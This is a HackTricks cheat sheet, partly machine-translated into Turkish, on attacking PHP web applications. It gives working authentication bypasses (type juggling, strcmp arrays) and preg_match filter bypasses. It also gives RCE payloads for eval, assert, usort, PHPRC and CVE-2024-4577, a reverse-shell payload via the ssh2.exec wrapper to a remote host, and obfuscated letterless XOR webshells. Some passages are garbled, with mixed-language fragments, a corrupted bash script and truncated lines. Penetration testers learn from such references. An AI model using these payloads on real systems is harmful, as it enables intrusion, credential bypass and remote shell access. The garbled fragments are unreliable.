PHP Tricks

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Çerezlerin yaygın konumu:

Bu aynı zamanda phpMyAdmin çerezleri için de geçerlidir.

Çerezler:

PHPSESSID
phpMyAdmin

Konumlar:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

PHP karşılaştırmalarını atlatma

Gevşek karşılaştırmalar/Type Juggling ( == )

Eğer PHP’de == kullanılıyorsa, karşılaştırmanın beklenmedik şekillerde davranabildiği durumlar vardır. Bunun sebebi == yalnızca değerleri aynı tipe dönüştürülüp karşılaştırmasıdır; karşılaştırılan verinin tipinin de aynı olup olmadığını kontrol etmek istiyorsanız === kullanmanız gerekir.

PHP comparison tables: https://www.php.net/manual/en/types.comparisons.php

  • "string" == 0 -> True Sayıyla başlamayan bir string, bir sayıya eşittir
  • "0xAAAA" == "43690" -> True Ondalık veya hex formatında sayılardan oluşan stringler, sayılar/diğer stringlerle karşılaştırıldığında sayılar aynıysa True dönebilir (string içindeki sayılar sayı olarak yorumlanır)
  • "0e3264578" == 0 --> True “0e” ile başlayıp sonrasında herhangi bir şey gelen bir string, 0 ile eşittir
  • "0X3264578" == 0X --> True “0” ile başlayıp herhangi bir harf (X herhangi bir harf olabilir) ve ardından herhangi bir şey gelen bir string, 0 ile eşittir
  • "0e12334" == "0" --> True Bu çok ilginçtir çünkü bazı durumlarda “0” olan string girdisini ve karşılaştırılan içeriğin hash’ini kontrol edebilirsiniz. Dolayısıyla, hash’i “0e” ile başlayıp harf içermeyen bir değer oluşturacak bir girdi sağlayabilirseniz karşılaştırmayı atlatabilirsiniz. Bu formatta ZATEN hash’lenmiş stringleri burada bulabilirsiniz: https://github.com/spaze/hashes
  • "X" == 0 --> True Bir string içindeki herhangi bir harf, int 0 ile eşittir

Daha fazla bilgi: https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Type Juggling aynı zamanda varsayılan olarak in_array() fonksiyonunu da etkiler (sıkı karşılaştırma yapmak için üçüncü argümanı true olarak ayarlamanız gerekir):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Bu fonksiyon any authentication check için kullanılıyorsa (ör. şifre kontrolü gibi) ve kullanıcı karşılaştırmanın bir tarafını kontrol ediyorsa, şifre değeri olarak bir string yerine boş bir dizi gönderebilir (https://example.com/login.php/?username=admin&password[]=) ve bu kontrolü atlatabilir:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

Aynı hata strcasecmp() ile de oluşur

Strict type Juggling

=== kullanılıyor olsa bile karşılaştırmayı savunmasız bırakan hatalar olabilir; bu, type juggling’e yol açabilir. Örneğin, karşılaştırma karşılaştırmadan önce veriyi farklı bir nesne türüne dönüştürüyorsa:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*)

preg_match() could be used to validate user input (bu fonksiyon, checks: eğer blacklist içinden herhangi bir word/regex user input üzerinde present ise kod engellenir; değilse yürütmeye devam edilir).

New line bypass

Ancak, regexp’in başlangıcını sınırlandırırken preg_match() only checks the first line of the user input, bu yüzden eğer bir şekilde send ettiğiniz girdiyi several lines halinde gönderebilirseniz, bu kontrolü bypass edebilirsiniz. Example:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Bu kontrolü atlatmak için değeri yeni satırlarla urlencoded (%0A) olarak gönderebilir veya eğer JSON data gönderebiliyorsanız, bunu birkaç satır halinde gönderin:

{
"cmd": "cat /etc/passwd"
}

Burada bir örnek bulabilirsiniz: https://ramadistra.dev/fbctf-2019-rceservice

Length error bypass

(Bu bypass görünüşe göre PHP 5.2.5 üzerinde denendi ve PHP 7.3.15 üzerinde çalıştıramadım)
Eğer preg_match()’e geçerli, çok large input gönderirseniz, o işleyemeyecek ve kontrolü bypass edebileceksiniz. Örneğin, JSON’u blacklisting yapıyorsa şu şekilde gönderebilirsiniz:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0

ReDoS Bypass

Trick from: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong

Kısacası sorun, PHP’deki preg_* fonksiyonlarının PCRE library üzerine inşa edilmesinden kaynaklanıyor. PCRE’de bazı regular expression’lar çok sayıda recursive çağrı kullanılarak eşleştiriliyor ve bu da çok fazla stack alanı tüketiyor. Rekürsiyonların sayısına bir limit koymak mümkün, ancak PHP’de bu limit varsayılan olarak 100.000 ve bu stack’e sığandan fazla.

This Stackoverflow thread gönderisinde de bu konu daha derinlemesine ele alınıyor. Görevimiz artık açıktı:\ Regex’in 100_000+ rekürsiyon yapmasına neden olacak bir input gönder, SIGSEGV’ye yol aç, preg_match() false döndürsün ve uygulama input’umuzun zararlı olmadığını düşünsün, payload’un sonunda ise {system(<verybadcommand>)} gibi sürprizi fırlatıp SSTI –> RCE –> flag :).

Regex terimleriyle aslında 100k “rekürsiyon” yapmıyoruz; bunun yerine “backtracking steps” sayıyoruz, ki PHP dokümantasyonunun belirttiği üzere bu pcre.backtrack_limit değişkeninde varsayılan olarak 1_000_000 (1M).
Buna ulaşmak için, 'X'*500_001 1 milyon backtracking step’e (500k ileri ve 500k geri) sebep olur:

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Type Juggling ile PHP obfuscation

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Execute After Redirect (EAR)

Eğer PHP başka bir sayfaya yönlendiriyorsa ancak die veya exit fonksiyonu header Location ayarlandıktan sonra çağrılmıyorsa, PHP yürütmeye devam eder ve veriyi gövdeye ekler:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Path Traversal and File Inclusion Exploitation

Kontrol:

File Inclusion/Path traversal

Diğer hileler

  • register_globals: In PHP < 4.1.1.1 or if misconfigured, register_globals may be active (or their behavior is being mimicked). Bu, global değişkenler gibi $_GET’in bir değeri varsa (ör. $_GET[“param”]=“1234”), buna $param. Bu nedenle HTTP parametreleri göndererek değişkenleri üzerine yazabilirsiniz kod içinde kullanılan.
  • The PHPSESSION cookies of the same domain are stored in the same place, therefore if within a domain different cookies are used in different paths you can make that a path accesses the cookie of the path setting the value of the other path cookie.
    Bu şekilde eğer her iki path de aynı isimli bir değişkene erişiyorsa path1’deki o değişkenin değerinin path2’ye uygulanmasını sağlayabilirsiniz. Ve sonrasında path2, path1’in değişkenlerini geçerli kabul edecektir (path2’de ona karşılık gelen isimde cookie vererek).
  • Makinedeki kullanıcı adlarını bildiğinizde adresi kontrol edin: /~<USERNAME> php dizinlerinin etkin olup olmadığını görmek için.
  • Eğer bir php konfigürasyonunda register_argc_argv = On varsa, boşluklarla ayrılmış query parametreleri array_keys($_SERVER['argv']) dizisini doldurmak için CLI argümanlarıymış gibi kullanılır. Bu ilginçtir çünkü eğer o ayar kapalıysa, web’ten çağrıldığında args dizisinin değeri Null olacaktır çünkü args dizisi doldurulmaz. Bu nedenle, bir web sayfası çalıştığını web olarak mı yoksa CLI aracı olarak mı kontrol etmek için if (empty($_SERVER['argv'])) { gibi bir karşılaştırma yapıyorsa, bir saldırgan GET isteğine ?--configPath=/lalala gibi parametreler göndererek sayfanın CLI olarak çalıştığını düşündürüp bu argümanları parse edip kullanmasını sağlayabilir. More info in the original writeup.
  • LFI and RCE using php wrappers

password_hash/password_verify

This functions are typically used in PHP to generate hashes from passwords and to to check if a password is correct compared with a hash.
Desteklenen algoritmalar: PASSWORD_DEFAULT and PASSWORD_BCRYPT (starts with $2y$). Note that PASSWORD_DEFAULT is frequently the same as PASSWORD_BCRYPT. And currently, PASSWORD_BCRYPT has a size limitation in the input of 72bytes. Therefore, when you try to hash something larger than 72bytes with this algorithm only the first 72B will be used:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

HTTP headers bypass abusing PHP errors

Causing error after setting headers

Bu this twitter thread üzerinden görebileceğiniz gibi, 1000’den fazla GET parametresi veya 1000’den fazla POST parametresi ya da 20 file gönderildiğinde, PHOP yanıtta headers ayarlamayacak.

Bu, örneğin CSP headers’ın şu kodlarda ayarlanmasını atlatmaya izin veriyor:

<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];

Başlıklar ayarlanmadan önce gövdeyi doldurmak

Eğer bir PHP sayfası hata yazdırıyor ve kullanıcının sağladığı bazı girdileri echo ile geri yazdırıyorsa, kullanıcı PHP sunucusunu yanıt olarak o kadar uzun içerik yazdırmaya zorlayabilir ki, sunucu yanıtına headers eklemeye çalıştığında bir hata fırlatır.
Aşağıdaki senaryoda attacker sunucunun büyük hatalar fırlatmasını sağladı, ve ekranda gördüğünüz gibi php header bilgilerini değiştirmeye çalıştığında başaramadı (örneğin CSP header kullanıcıya gönderilmedi):

PHP fonksiyonlarındaki SSRF

Sayfayı kontrol et:

PHP SSRF

ssh2.exec stream wrapper RCE

When the ssh2 extension is installed (ssh2.so visible under /etc/php*/mods-available/, php -m, or even an FTP-accessible php8.1_conf/ directory), PHP registers ssh2.* wrappers that can be abused anywhere user input is concatenated into fopen()/file_get_contents() targets. An admin-only download helper such as:

$wrapper = strpos($_GET['format'], '://') !== false ? $_GET['format'] : '';
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');

localhost SSH üzerinden shell komutları yürütmek için yeterlidir:

GET /download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1:22/ping%2010.10.14.6%20-c%201#
  • Kimlik bilgisi kısmı herhangi bir leaked system password (e.g., from cracked bcrypt hashes) yeniden kullanabilir.
  • Sondaki # sunucu tarafı ekini (files/<id>.zip) yorum satırı haline getirir, böylece sadece komutunuz çalışır.
  • Blind RCE, tcpdump -ni tun0 icmp ile egress’i izleyerek veya bir HTTP canary sunarak doğrulanır.

Doğrulandıktan sonra komutu reverse shell payload ile değiştirin:

format=ssh2.exec://yuri:mustang@127.0.0.1:22/bash%20-c%20'bash%20-i%20>&%20/dev/tcp/10.10.14.6/443%200>&1'#

Çünkü her şey PHP worker içinde gerçekleştiği için, TCP bağlantısı hedeften kaynaklanır ve enjekte edilen hesabın (yuri, eric, vb.) ayrıcalıklarını devralır.

Code execution

system(“ls”);
ls;
shell_exec(“ls”);

Daha yararlı PHP fonksiyonları için bunu kontrol edin

RCE via preg_replace()

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

“replace” argümanındaki kodun çalışması için en az bir eşleşme gerekir.\

preg_replace’in bu seçeneği PHP 5.5.0 itibarıyla kullanımdan kaldırılmıştır.

RCE via Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE via Assert()

php içindeki bu fonksiyon, bir string içinde yazılmış kodu çalıştırmanıza ve bunun sonucunda true veya false döndürmesine (ve buna göre yürütmeyi değiştirmenize) izin verir. Genellikle kullanıcı değişkeni bir string’in ortasına yerleştirilir. Örneğin:
assert("strpos($_GET['page']),'..') === false") –> Bu durumda RCE elde etmek için şunu yapabilirsiniz:

?page=a','NeVeR') === false and system('ls') and strpos('a

Kodun sözdizimini bozmanız, payload’ınızı eklemeniz, ardından tekrar düzeltmeniz gerekecek. Mantıksal işlemler olarak “and” or “%26%26” or “|” kullanabilirsiniz. Dikkat: “or”, “||” işe yaramaz çünkü ilk koşul doğru olursa payload’ımız çalıştırılmaz. Aynı şekilde “;” işe yaramaz çünkü payload’ımız çalıştırılmaz.

Diğer seçenek string’e şu komut çalıştırmasını eklemektir: '.highlight_file('.passwd').'

Diğer seçenek (eğer iç koda erişiminiz varsa) yürütmeyi değiştirmek için bir değişkeni değiştirin: $file = "hola"

RCE via usort()

This function is used to sort an array of items using an specific function.
To abuse this function:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

You can also use // to comment the rest of the code.

To discover the number of parenthesis that you need to close:

  • ?order=id;}//: we get an error message (Parse error: syntax error, unexpected ';'). We are probably missing one or more brackets.
  • ?order=id);}//: we get a warning. That seems about right.
  • ?order=id));}//: we get an error message (Parse error: syntax error, unexpected ')' i). We probably have too many closing brackets.

RCE via .httaccess

If you can upload a .htaccess, then you can configure several things and even execute code (configuring that files with extension .htaccess can be executed).

Different .htaccess shells can be found here

RCE via Env Variables

If you find a vulnerability that allows you to modify env variables in PHP (and another one to upload files, although with more research maybe this can be bypassed), you could abuse this behaviour to get RCE.

  • LD_PRELOAD: This env variable allows you load arbitrary libraries when executing other binaries (although in this case it might not work).
  • PHPRC : Instructs PHP on where to locate its configuration file, usually called php.ini. If you can upload your own config file, then, use PHPRC to point PHP at it. Add an auto_prepend_file entry specifying a second uploaded file. This second file contains normal PHP code, which is then executed by the PHP runtime before any other code.
  1. Upload a PHP file containing our shellcode
  2. Upload a second file, containing an auto_prepend_file directive instructing the PHP preprocessor to execute the file we uploaded in step 1
  3. Set the PHPRC variable to the file we uploaded in step 2.
  • Get more info on how to execute this chain from the original report.
  • PHPRC - another option
  • If you cannot upload files, you could use in FreeBSD the “file” /dev/fd/0 which contains the stdin, being the body of the request sent to the stdin:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
  • Or to get RCE, enable allow_url_include and prepend a file with base64 PHP code:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
  • Technique from this report.

XAMPP CGI RCE - CVE-2024-4577

The webserver parses HTTP requests and passes them to a PHP script executing a request such as as http://host/cgi.php?foo=bar as php.exe cgi.php foo=bar, which allows a parameter injection. This would allow to inject the following parameters to load the PHP code from the body:

-d allow_url_include=1 -d auto_prepend_file=php://input

Ayrıca, PHP’nin sonraki normalizasyonu nedeniyle 0xAD karakteri kullanılarak “-” parametresini enjekte etmek mümkündür. Exploit örneği için this post:

POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

PHP Sanitization bypass & Brain Fuck

In this post çok az karaktere izin verildiğinde brain fuck PHP kodu üretmek için harika fikirler bulmak mümkün.
Ayrıca birkaç kontrolü bypass etmelerini sağlayan functions’ı execute etmenin ilginç bir yolu da önerilmiş:

(1)->{system($_GET[chr(97)])}

PHP Static analysis

Bu fonksiyonlara yapılan çağrılara kod ekleyip ekleyemeyeceğini kontrol et (from here):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

Bir PHP uygulamasını hata ayıklıyorsanız, hata yazdırmayı sistem genelinde /etc/php5/apache2/php.ini dosyasına display_errors = On ekleyerek etkinleştirebilir ve apache’yi yeniden başlatabilirsiniz: sudo systemctl restart apache2

Deobfuscating PHP code

Kullanabileceğiniz web www.unphp.net to deobfuscate php code.

PHP Wrappers & Protocols

PHP Wrappers and protocols, bir sistemde bypass write and read protections yaparak sistemi ele geçirmenize izin verebilir. Daha fazla bilgi için more information check this page.

Xdebug unauthenticated RCE

Eğer phpconfig() çıktısında Xdebug’ın enabled olduğunu görürseniz, RCE elde etmek için https://github.com/nqxcode/xdebug-exploit denemelisiniz.

Variable variables

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE: new $_GET[“a”]($_GET[“b”] )’yi kötüye kullanma

Eğer bir sayfada rastgele bir sınıfın yeni bir örneğini oluşturabiliyorsanız RCE elde edebilirsiniz, nasıl yapıldığını öğrenmek için aşağıdaki sayfayı inceleyin:

Php Rce Abusing Object Creation New Usd Get A Usd Get B

PHP’yi harf olmadan çalıştırma

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Sekizlik kullanımı

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR kolay shell code

this writeup e göre, aşağıdaki şekilde kolay bir shell code üretmek mümkündür:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

Yani, eğer execute arbitrary PHP without numbers and letters yapabiliyorsanız, o payload’ı kötüye kullanarak aşağıdaki gibi bir istek gönderebilirsiniz to execute arbitrary PHP:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Daha ayrıntılı bir açıklama için şu kaynağa bakın https://ctf-wiki.org/web/php/php/#preg_match

XOR Shellcode (inside eval)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Perl benzeri

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

Kaynaklar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin